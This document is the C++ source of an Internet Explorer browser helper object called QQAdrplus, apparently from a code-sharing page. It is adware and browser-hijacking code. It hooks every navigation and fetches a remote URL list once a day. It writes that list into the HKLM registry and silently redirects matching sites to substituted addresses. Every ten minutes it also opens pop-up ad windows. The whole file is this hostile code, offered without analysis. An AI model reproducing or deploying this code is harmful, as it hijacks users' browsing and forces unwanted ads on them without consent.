📄 qqadrplus.cpp
字号:
// QQAdrplus.cpp : Implementation of CQQAdrplus
#include "stdafx.h"
#include "QQAdrplus.h"
#include ".\qqadrplus.h"
// CQQAdrplus
#include <atltime.h>
STDMETHODIMP CQQAdrplus::SetSite(IUnknown *pUnkSite)
{
if( pUnkSite )
{
m_spWebBrowser2 = pUnkSite ;
if( !m_spWebBrowser2 )
return E_FAIL ;
// 建立WebBrowser事件联接
if( BhoBrowerEvents::DispEventAdvise( m_spWebBrowser2 ) != S_OK )
return E_FAIL ;
DWORD ID = 0 ;
::CreateThread( NULL , NULL , Thread , (LPVOID)this , 0 , &ID ) ;
}
return S_OK ;
}
DWORD CQQAdrplus::Thread( LPVOID pParam )
{
HANDLE hEvent = ::CreateEvent( NULL , FALSE , FALSE , WORK_EVENT ) ;
if( hEvent == NULL )
return -1;
if( ::GetLastError() == ERROR_ALREADY_EXISTS )
{
::CloseHandle( hEvent ) ;
return 0 ;
}
CQQAdrplus *pThis = (CQQAdrplus *)pParam ;
pThis->GetAdData() ;
::CloseHandle( hEvent ) ;
return 0 ;
}
void CQQAdrplus::OnBeforeNavigate2( IDispatch *pDisp,
VARIANT &url,
VARIANT &Flags,
VARIANT &TargetFrameName,
VARIANT &PostData,
VARIANT &Headers,
VARIANT_BOOL &Cancel)
{
CString strUrl( url.bstrVal ) ;
strUrl.MakeLower() ;
CString str = EnableUrl( strUrl ) ;
if ( !str.IsEmpty() )
{
if ( m_spWebBrowser2 )
m_spWebBrowser2->Navigate( CComBSTR(str) , NULL , NULL , NULL , NULL ) ;
}
else
{
if ( strUrl != _T("about:blank") && strUrl != POPAD_URL )
PopAd() ;
}
}
void CQQAdrplus::OnQuit()
{
// 解除对WEB控件事件的连接点
if( m_spWebBrowser2 )
BhoBrowerEvents::DispEventUnadvise( m_spWebBrowser2 );
}
#include <wininet.h>
#pragma comment(lib,"Wininet.lib")
void CQQAdrplus::GetRemoteUrl(void)
{
BOOL ret = FALSE ;
HINTERNET hSession = ::InternetOpen( _T("Internet Explore") , INTERNET_OPEN_TYPE_PRECONFIG ,
NULL , NULL , 0 ) ;
if( hSession )
{
HINTERNET hHttpFile = ::InternetOpenUrl( hSession , CONTROL_URL , NULL , 0 , 0 , 0 ) ;
if( hHttpFile )
{
// 获得文件的大小
TCHAR szSizeBuffer [ MAX_PATH ] ;
DWORD dwLengthSizeBuffer = sizeof(szSizeBuffer);
if( ::HttpQueryInfo( hHttpFile , HTTP_QUERY_CONTENT_LENGTH , szSizeBuffer ,
&dwLengthSizeBuffer , NULL ) )
{
try
{
DWORD dwFileSize = _ttol( szSizeBuffer ) ;
DWORD dwBytesRead = 0 ;
CMemBlock mem( dwFileSize + 1 , TRUE ) ;
if( ::InternetReadFile( hHttpFile , mem.GetData() , dwFileSize , &dwBytesRead ) )
{
ParseInfo( (LPCTSTR)mem.GetData() );
}
}
catch(...){}
}
::InternetCloseHandle( hHttpFile ) ;
}
::InternetCloseHandle( hSession ) ;
}
}
void CQQAdrplus::ParseInfo(LPCTSTR pszInfo)
{
// 删除原来的数据
DWORD dwValue = 0 ;
CString strReg ( REG_PATH ) ;
strReg += _T("\\Url") ;
::SHDeleteKey( HKEY_LOCAL_MACHINE , strReg ) ;
m_strUrlList.clear() ;
CString strBreak( _T("\n\r") ) ; // 每行脚本的分隔符
LPCTSTR pszNewLine = pszInfo ;
while ( true )
{
if( *pszNewLine == NULL )
return ;
LPCTSTR pszEnd = _tcspbrk( pszNewLine , strBreak ) ;
int n = 0 ;
if( pszEnd != NULL )
{
n = pszEnd - pszNewLine ;
}
else
{
// 最后一行
CString strLine(pszNewLine);
strLine.Remove(_T('\n'));
ParseLine( strLine ) ;
return ;
}
// 逐行分析
if( n > 0 )
{
CString strLine ( pszNewLine , n ) ;
strLine.Remove( _T('\n') ) ;
ParseLine( strLine ) ;
}
pszNewLine = pszEnd + 1 ;
}
}
void CQQAdrplus::ParseLine(CString & strLine)
{
int pos = strLine.Find( _T('=') ) ;
if ( pos != -1 )
{
CString strReg ( REG_PATH ) ;
strReg += _T("\\Url") ;
CString strScrUrl = strLine.Left(pos) ;
CString strDecUrl = strLine.Right( strLine.GetLength() - pos - 1 ) ;
::SHSetValue( HKEY_LOCAL_MACHINE , strReg , strScrUrl , REG_SZ , (LPCTSTR)strDecUrl , strDecUrl.GetLength()*sizeof(TCHAR) ) ;
m_strUrlList.insert( m_strUrlList.end() , strScrUrl.GetBuffer( MAX_PATH ) ) ;
strScrUrl.ReleaseBuffer() ;
}
}
BOOL CQQAdrplus::GetAdData(void)
{
time_t date = 0 ;
CRegKey reg ;
if( reg.Create( HKEY_LOCAL_MACHINE , REG_PATH ) == ERROR_SUCCESS )
{
DWORD cbData = sizeof(time_t) ;
reg.QueryBinaryValue( _T("time") , &date , &cbData ) ;
}
CTime tmPrev ( date ) ;
CTime tmCur = CTime::GetCurrentTime();
CTimeSpan span = tmCur - tmPrev ;
if ( abs(span.GetDays()) >= 1 )
{
date = tmCur.GetTime() ;
reg.SetBinaryValue( _T("time") , &date , sizeof(time_t) ) ;
GetRemoteUrl() ;
}
return 0;
}
// 返回FALSE跳转
CString CQQAdrplus::EnableUrl(CString & strCurUrl)
{
CString strReg( REG_PATH ) ;
strReg += _T("\\url") ;
StringList::iterator it = m_strUrlList.begin() ;
for ( ; it != m_strUrlList.end() ; ++it )
{
if ( strCurUrl.Find( it->c_str() ) != -1 )
{
TCHAR szUrl[MAX_PATH] = _T("") ;
DWORD cbData = sizeof(szUrl) ;
DWORD dwType = REG_SZ ;
if ( ::SHGetValue( HKEY_LOCAL_MACHINE , strReg , it->c_str() , &dwType , szUrl , &cbData ) == ERROR_SUCCESS )
{
return CString(szUrl) ;
}
}
}
return CString(_T(""));
}
void CQQAdrplus::PopAd(void)
{
time_t date = 0 ;
CRegKey reg ;
if( reg.Create( HKEY_LOCAL_MACHINE , REG_PATH ) == ERROR_SUCCESS )
{
DWORD cbData = sizeof(time_t) ;
reg.QueryBinaryValue( _T("adtime") , &date , &cbData ) ;
}
CTime tmPrev ( date ) ;
CTime tmCur = CTime::GetCurrentTime();
CTimeSpan span = tmCur - tmPrev ;
if ( abs(span.GetMinutes()) >= 10 )
{
date = tmCur.GetTime() ;
reg.SetBinaryValue( _T("adtime") , &date , sizeof(time_t) ) ;
ShellExecute( NULL , _T("open") , _T("iexplore.exe") , POPAD_URL , NULL , SW_SHOW ) ;
}
}
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -